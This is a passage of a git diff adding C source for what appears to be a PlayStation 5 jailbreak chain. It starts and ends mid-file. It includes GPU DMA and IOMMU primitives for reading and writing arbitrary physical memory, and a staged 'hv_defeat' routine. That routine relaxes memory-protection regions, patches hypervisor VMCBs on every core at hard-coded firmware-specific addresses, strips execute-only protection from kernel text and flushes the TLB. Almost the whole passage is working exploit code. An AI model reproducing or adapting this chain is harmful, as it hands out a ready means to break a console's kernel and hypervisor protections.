= (va >> shift) & 0x1FF;+ uint64_t entry;+ uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8);++ entry = *(uint64_t *)entry_va;++ if (!PAGE_P(entry))+ return 0;++ if ((level == 1 || level == 2) && PAGE_PS(entry)) {+ uint64_t page_size = P_SIZE(level);+ return PAGE_PA(entry) | (va & (page_size - 1));+ }++ if (level == 3)+ return PAGE_PA(entry) | (va & 0xFFF);++ table_phys = PAGE_PA(entry);+ }+ return 0;+}++__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap,+ uint8_t tx_byte) {+ volatile uint32_t *uart_tx = dmap + 0xc1010104ULL;+ volatile uint32_t *uart_busy = dmap + 0xc101010cULL;+ uint64_t timeout = 0xFFFFFFFF;+ do {+ timeout--;+ if (timeout == 0)+ break;+ } while (((*uart_busy) & 0x20) == 0);++ if (timeout == 0)+ return -1;++ *uart_tx = (uint32_t)tx_byte & 0xFF;+ return 0;+}\ No newline at end of filediff --git a/shellcode_kernel/utils.h b/shellcode_kernel/utils.hnew file mode 100644index 0000000..08e51e5--- /dev/null+++ b/shellcode_kernel/utils.h@@ -0,0 +1,43 @@+#ifndef UTILS_H+#define UTILS_H+#include "shellcode_kernel_args.h"+#include <stdint.h>++extern void (*printf)(const char *format, ...);+uint64_t PHYS_TO_DMAP(uint64_t pa);+void memcpy(void *dest, void *src, uint64_t len);++// Defines for Page management+enum page_bits {+ P = 0,+ RW,+ US,+ PWT,+ PCD,+ A,+ D,+ PS,+ G,+ XO = 58,+ PK = 59,+ NX = 63+};++#define PG_B_P (1ULL << P)+#define PG_B_RW (1ULL << RW)+#define PAGE_P(x) (x & (1ULL << P))+#define PAGE_RW(x) (x & (1ULL << RW))+#define PAGE_PS(x) (x & (1ULL << PS))+#define PAGE_XO(x) (x & (1ULL << XO))+#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))+#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))+#define PAGE_SET_RW(x) (x |= (1ULL << RW))+#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)+#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))++uint64_t read_cr3(void);+uint64_t va_to_pa_kernel(uint64_t va);+uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom);+uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte);++#endif\ No newline at end of filediff --git a/source/gpu.c b/source/gpu.cnew file mode 100644index 0000000..570fdf9--- /dev/null+++ b/source/gpu.c@@ -0,0 +1,495 @@+#include "gpu.h"+#include "utils.h"+#include <fcntl.h>+#include <ps5/kernel.h>+#include <stdio.h>+#include <stdlib.h>+#include <string.h>+#include <sys/ioctl.h>+#include <sys/mman.h>+#include <unistd.h>++int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment,+ int mem_type, uint64_t *phys_out);+int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot,+ int flags, uint64_t phys, size_t alignment,+ const char *name);+int sceKernelSleep(int secs);++static struct gpu_ctx s_gpu = {0};+static struct gpu_kernel_offsets s_gpu_offsets = {0};+static int s_offsets_set = 0;++struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; }++void gpu_set_offsets(struct gpu_kernel_offsets *offsets) {+ memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets));+ s_offsets_set = 1;+}++static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) {+ return (pde >> shift) & mask;+}++static int gpu_get_vmid(void) {+ uint64_t curproc = kernel_get_proc(getpid());+ uint64_t vmspace;+ uint32_t vmid;++ kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace,+ sizeof(vmspace));+ kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid));++ return (int)vmid;+}++static uint64_t gpu_get_pdb2_addr(int vmid) {+ uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE ++ s_gpu_offsets.data_base_gvmspace ++ (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;++ uint64_t pdb2_va;+ kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va,+ sizeof(pdb2_va));+ return pdb2_va;+}++static uint64_t gpu_get_relative_va(int vmid, uint64_t va) {+ uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE ++ s_gpu_offsets.data_base_gvmspace ++ (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;++ uint64_t start_va, size;+ kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va,+ sizeof(start_va));+ kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size));++ if (va >= start_va && va < start_va + size)+ return va - start_va;++ return (uint64_t)-1;+}++static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va,+ uint64_t *out_page_size) {+ uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid);++ uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF;+ uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF;+ uint64_t pde_idx = (gpu_va >> 21) & 0x1FF;++ // PDB2 (PML4 equivalent)+ uint64_t pml4e;+ kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e));++ if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1)+ return 0;++ // PDB1 (PDPT equivalent)+ uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK;+ uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8;+ uint64_t pdpe;+ kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe));++ if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1)+ return 0;++ // PDB0 (PD equivalent)+ uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK;+ uint64_t pde_va = dmap + pd_pa + pde_idx * 8;+ uint64_t pde;+ kernel_copyout(pde_va, &pde, sizeof(pde));++ if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1)+ return 0;++ // If IS_PTE bit set, this is a 2MB leaf+ if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) {+ *out_page_size = 0x200000;+ return pde_va;+ }++ // PTB (page table block)+ uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F);+ uint64_t offset = gpu_va & 0x1FFFFF;+ uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK;++ uint64_t pte_idx, pte_va;++ if (frag_size == 4) {+ pte_idx = offset >> 16;+ pte_va = dmap + pt_pa + pte_idx * 8;++ uint64_t pte;+ kernel_copyout(pte_va, &pte, sizeof(pte));++ if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 &&+ gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) {+ pte_idx = (gpu_va & 0xFFFF) >> 13;+ pte_va = dmap + pt_pa + pte_idx * 8;+ *out_page_size = 0x2000; // 8KB+ } else {+ *out_page_size = 0x10000; // 64KB+ }+ } else if (frag_size == 1) {+ pte_idx = offset >> 13;+ pte_va = dmap + pt_pa + pte_idx * 8;+ *out_page_size = 0x2000; // 8KB+ } else {+ // Unknown fragment size - use 64KB as default+ pte_idx = offset >> 16;+ pte_va = dmap + pt_pa + pte_idx * 8;+ *out_page_size = 0x10000;+ }++ return pte_va;+}++static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) {+ uint64_t phys_out = 0;+ void *va_out = NULL;++ int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ;+ if (gpu_write)+ prot |= PROT_GPU_WRITE;++ int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out);+ if (ret != 0) {+ printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret);+ return 0;+ }++ ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE,+ phys_out, size, "gpudma");+ if (ret != 0) {+ printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret);+ return 0;+ }++ return (uint64_t)va_out;+}++static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) {+ return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) |+ ((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1);+}++static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va,+ uint32_t length) {+ uint32_t *pkt = (uint32_t *)buf;+ uint32_t count = 6;++ uint32_t dma_hdr = (1u << 31) // cp_sync+ | (2u << 25) // dst_cache_policy+ | (1u << 27) // dst_volatile+ | (2u << 13) // src_cache_policy+ | (1u << 15); // src_volatile++ pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count);+ pkt[1] = dma_hdr;+ pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF);+ pkt[3] = (uint32_t)(src_va >> 32);+ pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF);+ pkt[5] = (uint32_t)(dst_va >> 32);+ pkt[6] = length & 0x1FFFFF;++ return 7 * sizeof(uint32_t);+}++static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr,+ uint32_t size_bytes) {+ uint64_t *d = (uint64_t *)desc;+ uint32_t size_dwords = size_bytes >> 2;++ d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL;+ d[1] =+ (((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF);+}++static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count,+ uint64_t descriptors_ptr) {+ struct {+ uint32_t pipe_id;+ uint32_t count;+ uint64_t cmd_buf_ptr;+ } submit;++ submit.pipe_id = pipe_id;+ submit.count = cmd_count;+ submit.cmd_buf_ptr = descriptors_ptr;++ return ioctl(fd, GPU_SUBMIT_IOCTL, &submit);+}++static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf,+ uint32_t size, int is_write) {+ if (!s_gpu.initialized)+ return -1;++ uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1);+ uint64_t offset = phys_addr - aligned_pa;++ if (offset + size > s_gpu.dmem_size) {+ printf("[gpu] transfer exceeds dmem_size\n");+ return -1;+ }++ int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;+ int prot_rw = prot_ro | PROT_GPU_WRITE;++ mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);++ uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa;+ kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe);++ mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);+ uint64_t src, dst;++ if (is_write) {+ memcpy((void *)s_gpu.transfer_va, local_buf, size);+ src = s_gpu.transfer_va;+ dst = s_gpu.victim_va + offset;+ } else {+ src = s_gpu.victim_va + offset;+ dst = s_gpu.transfer_va;+ }++ int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size);++ uint8_t desc[16];+ gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size);++ uint64_t desc_va = s_gpu.cmd_va + 0x1000;+ memcpy((void *)desc_va, desc, 16);++ int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va);+ if (ret != 0) {+ printf("[gpu] ioctl submit failed: %d\n", ret);+ return -1;+ }++ // Wait for GPU DMA completion+ // TODO: proper fence/signal wait+ usleep(100000);++ if (!is_write) {+ memcpy(local_buf, (void *)s_gpu.transfer_va, size);+ }++ // Restore victim PTE to original physical address+ uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa;+ kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe);++ return 0;+}++int gpu_init(void) {+ // init GPU DMA+ struct gpu_kernel_offsets go = {};+ go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE;+ go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID;+ go.sizeof_gvmspace = 0x100;+ go.gvmspace_page_dir_va = 0x38;+ go.gvmspace_size = 0x10;+ go.gvmspace_start_va = 0x08;+ go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE;++ gpu_set_offsets(&go);++ if (gpu_init_internal())+ return -1;++ return 0;+}++int gpu_init_internal(void) {+ if (s_gpu.initialized) {+ DEBUG_PRINT("[gpu] Already initialized\n");+ return 0;+ }++ if (!s_offsets_set) {+ DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n");+ return -1;+ }++ DEBUG_PRINT("[gpu] init\n");++ s_gpu.dmem_size = 2 * 0x100000; // 2MB++ // Step 1: Open GPU device+ DEBUG_PRINT("[gpu] Opening /dev/gc\n");+ s_gpu.fd = open("/dev/gc", O_RDWR);+ if (s_gpu.fd < 0) {+ DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd);+ return -1;+ }+ DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd);++ // Step 2: Allocate 3 GPU-mapped buffers+ DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n");++ s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);+ if (!s_gpu.victim_va) {+ DEBUG_PRINT("[gpu] victim alloc failed\n");+ return -2;+ }++ s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);+ if (!s_gpu.transfer_va) {+ DEBUG_PRINT("[gpu] transfer alloc failed\n");+ return -2;+ }++ s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);+ if (!s_gpu.cmd_va) {+ DEBUG_PRINT("[gpu] cmd alloc failed\n");+ return -2;+ }++ DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va);+ DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va);+ DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va);++ // Step 3: Get the physical address of the victim buffer+ s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va);+ DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa);++ // Step 4: Walk GPU page tables to find the PTE for the victim buffer+ int vmid = gpu_get_vmid();+ DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid);++ if (s_gpu_offsets.data_base_gvmspace == 0) {+ DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n");+ return -3;+ }++ uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va);+ if (rel_va == (uint64_t)-1) {+ DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n");+ return -3;+ }+ DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va);++ s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size);+ if (s_gpu.victim_ptbe_va == 0) {+ DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n");+ return -4;+ }+ DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va);+ DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size);++ if (s_gpu.page_size != s_gpu.dmem_size) {+ DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n",+ s_gpu.page_size, s_gpu.dmem_size);+ }++ // Step 5: Prepare the cleared PTE template+ int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;+ mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);++ uint64_t current_ptbe;+ kernel_copyout(s_gpu.victim_ptbe_va, ¤t_ptbe, sizeof(current_ptbe));+ s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa;++ DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe);+ DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe);++ int prot_rw = prot_ro | PROT_GPU_WRITE;+ mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);++ s_gpu.initialized = 1;+ DEBUG_PRINT("[gpu] ready\n");+ return 0;+}++int gpu_test(void) {+ if (!s_gpu.initialized) {+ printf("[gpu] ERROR: not initialized\n");+ return -1;+ }++ DEBUG_PRINT("[gpu] test\n");++ // Test 1: Read a known kernel .data value via GPU DMA and compare+ uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE;+ uint64_t test_pa = va_to_pa_kernel(test_va);+ DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa);++ uint64_t kernel_val = kernel_getlong(test_va);+ DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val);++ uint64_t gpu_val = gpu_read_phys8(test_pa);+ DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val);++ if (kernel_val == gpu_val) {+ printf("[gpu] *** TEST PASSED: values match ***\n");+ } else {+ printf("[gpu] *** TEST FAILED: values differ ***\n");+ return -1;+ }++ // Test 2: Write and read-back test+ uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000);+ uint64_t magic = 0xDEADBEEFCAFEBABEULL;++ DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic);+ gpu_write_phys8(test_write_pa, magic);++ uint64_t readback = gpu_read_phys8(test_write_pa);+ DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback);++ if (readback == magic) {+ printf("[gpu] *** WRITE TEST PASSED ***\n");+ } else {+ printf("[gpu] *** WRITE TEST FAILED ***\n");+ return -1;+ }++ printf("[gpu] tests ok\n");+ return 0;+}++int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) {+ return gpu_transfer_physical(phys_addr, out_buf, size, 0);+}++uint8_t gpu_read_phys1(uint64_t phys_addr) {+ uint8_t val = 0;+ gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);+ return val;+}++uint32_t gpu_read_phys4(uint64_t phys_addr) {+ uint32_t val = 0;+ gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);+ return val;+}++uint64_t gpu_read_phys8(uint64_t phys_addr) {+ uint64_t val = 0;+ gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);+ return val;+}++int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) {+ return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1);+}++void gpu_write_phys4(uint64_t phys_addr, uint32_t value) {+ gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);+}++void gpu_write_phys8(uint64_t phys_addr, uint64_t value) {+ gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);+}++void gpu_cleanup(void) {+ if (s_gpu.fd >= 0) {+ close(s_gpu.fd);+ s_gpu.fd = -1;+ }++ s_gpu.initialized = 0;+ printf("[gpu] Cleaned up\n");+}diff --git a/source/hv_defeat.c b/source/hv_defeat.cnew file mode 100644index 0000000..5f5b2b7--- /dev/null+++ b/source/hv_defeat.c@@ -0,0 +1,295 @@+#include "hv_defeat.h"+#include "config.h"+#include "gpu.h"+#include "iommu.h"+#include "tmr.h"+#include "utils.h"+#include <fcntl.h>+#include <setjmp.h>+#include <signal.h>+#include <stddef.h>+#include <stdio.h>+#include <unistd.h>++uint64_t vmcb_pa[16];++int hv_defeat(void) {+ if (gpu_init())+ return -1;+ if (stage1_tmr_relax())+ return -1;+ if (stage2_find_vmcbs())+ return -1;+ iommu_selftest();+ if (stage3_patch_vmcbs())+ return -1;+ if (stage4_force_vmcb_reload())+ return -1;+ if (stage5_remove_xotext())+ return -1;+ if (stage6_kernel_pmap_invalidate_all())+ return -1;+ return 0;+}++int stage1_tmr_relax(void) {+ DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: ");++ DEBUG_PRINT("Firmware version: %04x\n", fw);++ for (int t = 0; t < 22; t++) {+ uint32_t b = tmr_read(TMR_BASE(t));+ uint32_t l = tmr_read(TMR_LIMIT(t));+ uint32_t c = tmr_read(TMR_CONFIG(t));+ if (c == 0 && b == 0 && l == 0)+ continue;+ DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t,+ (uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c);+ }++ if (fw < 0x0300) {+ tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);++ if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)+ goto no_ok;++ } else {+ tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE);+ tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);+ tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE);+ tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE);++ if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE)+ goto no_ok;+ if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)+ goto no_ok;+ if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE)+ goto no_ok;+ if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE)+ goto no_ok;+ }++ DEBUG_PRINT("OK\n");+ return 0;++no_ok:+ DEBUG_PRINT("No OK\n");+ return -1;+}++int stage2_find_vmcbs(void) {+ DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n");++ uint64_t vcpu_off = env_offset.HV_VCPU;+ uint64_t stride = env_offset.HV_VCPU_CPUID;+ // Testing direct VMCB on 04.03+ if ((!vcpu_off || !stride) && fw < 0x0300) {+ DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw);+ return -1;+ }++ for (int c = 0; c < 16; c++) {+ vmcb_pa[c] = get_vmcb(c);+ DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]);+ }++ return 0;+}++// Only valid for 3.xx and 4.xx+// 1.xx and 2.xx have dynamic page alloc for VMCB+// TODO: add 1.xx and 2.xx logic+uint64_t get_vmcb(int core) {+ switch (fw) {+ case 0x0300:+ case 0x0310:+ case 0x0320:+ case 0x0321:+ return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;+ break;+ case 0x0400:+ case 0x0402:+ case 0x0403:+ case 0x0450:+ case 0x0451:+ return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;+ break;+ default:+ return -1;+ }+}++int iommu_selftest(void) {+ DEBUG_PRINT("\n[iommu] self-test\n");++ uint64_t scratch = 0xAAAAAAAABBBBBBBBULL;+ uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch);++ if (!scratch_pa || scratch_pa >= 0x100000000ULL) {+ DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa);+ return -1;+ }++ uint64_t pattern = 0xDEADCAFE12345678ULL;+ DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch);++ iommu_write8_pa(scratch_pa, pattern);+ uint64_t readback = kread64(dmap + scratch_pa);++ DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback,+ (readback == pattern) ? "OK" : "FAIL");++ return (readback == pattern) ? 0 : -1;+}++int stage3_patch_vmcbs(void) {+ DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n");++ int cur = sceKernelGetCurrentCpu();+ pin_to_core(cur);++ for (int i = 0; i < 16; i++) {+ uint64_t pa = vmcb_pa[i];++ iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL);+ iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL);+ iommu_write8_pa(pa + 0x10, 0x000000000000000FULL);+ iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL);+ iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL);++ DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa);++ // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00);+ // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08);+ // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10);+ // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58);+ // uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90);++ // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n",+ // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90+ // );++ usleep(1000);+ }++ pin_to_core(9);++ DEBUG_PRINT(" done, 16 cores\n");+ return 0;+}++static jmp_buf jmp_env;+static volatile int vmmcall_faulted = 0;++void handle_sigill(int sig) {+ vmmcall_faulted = 1;+ longjmp(jmp_env, 1);+}++int stage4_force_vmcb_reload(void) {++ int ret = 0;++ auto old_handler = signal(SIGILL, handle_sigill);++ for (int i = 0; i < 16; i++) {+ pin_to_core(i);+ vmmcall_faulted = 0;++ if (setjmp(jmp_env) == 0) {+ __asm__ volatile("vmmcall");+ }++ usleep(1000);+ DEBUG_PRINT("[vmmcall] core: %02d %s\n", i,+ vmmcall_faulted ? "SIGILL (caught)" : "ok");++ // Accumulate results+ ret |= vmmcall_faulted;+ }++ signal(SIGILL, old_handler);++ // Return -1 if we didn't caught them+ return ret ? 0 : -1;+}++int stage5_remove_xotext(void) {+ DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n");++ uint64_t start =+ ktext - 0xF0000; // Include first pages where fun stuff is located+ uint64_t end = kdata;+ int n = 0;++ for (uint64_t a = start; a < end; a += 0x1000) {+ page_chain_set_rw(a);+ n++;+ }+ DEBUG_PRINT(" %d pages on ktext\n", n);++ start = kdata;+ end = kdata + 0x08000000;+ n = 0;+ for (uint64_t a = start; a < end; a += 0x1000) {+ page_chain_set_rw(a);+ n++;+ }+ DEBUG_PRINT(" %d pages on kdata\n", n);+ return 0;+}++int stage6_kernel_pmap_invalidate_all(void) {++ DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n");++ static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};++ int pipe_fds[2];+ // set O_NONBLOCK to avoid PIPE_DIRECTW+ if (pipe2(pipe_fds, O_NONBLOCK)) {+ return -1;+ }++ // the pipe starts off as 1 page large - we need to write into the pipe so it+ // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt+ // use the one page fast path+ if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {+ close(pipe_fds[0]);+ close(pipe_fds[1]);+ return -1;+ }++ // dont need this anymore+ close(pipe_fds[1]);++ uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);++ if (!INKERNEL(read_fd_file_data)) {+ close(pipe_fds[0]);+ return -1;+ }++ uint64_t read_fd_buffer;+ kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,+ sizeof(read_fd_buffer));++ if (!INKERNEL(read_fd_buffer)) {+ close(pipe_fds[0]);+ return -1;+ }++ // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be+ // called anyvalid is only set if there is at least 1 non global entry being+ // removed set the first entry as non global, its being removed anyway so its+ // fine (?)+ if (!page_remove_global(read_fd_buffer)) {+ close(pipe_fds[0]);+ return -1;+ }++ // fd 0 is read end, it holds the buffer, this close is what does the+ // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob+ close(pipe_fds[0]);+ return 0;+}\ No newline at end of filediff --git a/source/iommu.c b/source/iommu.cnew file mode 100644index 0000000..20ac73a--- /dev/null+++ b/source/iommu.c@@ -0,0 +1,103 @@+#include "iommu.h"+#include "utils.h"+#include <stdio.h>+#include <string.h>++iommu_ctx iommu_store;+iommu_ctx *iommu = &iommu_store;++int iommu_init(void) {+ uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC);+ if (softc_ptr == ktext) {+ DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset");+ return -1;+ }++ uint64_t softc = kread64(softc_ptr);+ if (!softc) {+ DEBUG_PRINT("[iommu] softc is NULL\n");+ return -2;+ }++ iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA);+ iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR);+ iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR);+ iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR);++ if (!iommu->cb2_base || !iommu->mmio_va) {+ DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n",+ iommu->cb2_base, iommu->mmio_va);+ return -3;+ }++ DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc,+ iommu->cb2_base, iommu->mmio_va);+ return 0;+}++// Submit a single 16-byte command and wait for completion+void iommu_submit_cmd(const void *cmd) {++ if (iommu->mmio_va == 0)+ iommu_init();++ uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL);+ uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;++ kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE);+ kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail);++ while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) !=+ kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL))+ ;+}++// Write 8 bytes to a physical address using IOMMU completion wait store+void iommu_write8_pa(uint64_t pa, uint64_t val) {+ uint32_t cmd[4];+ cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;+ cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;+ cmd[2] = (uint32_t)(val);+ cmd[3] = (uint32_t)(val >> 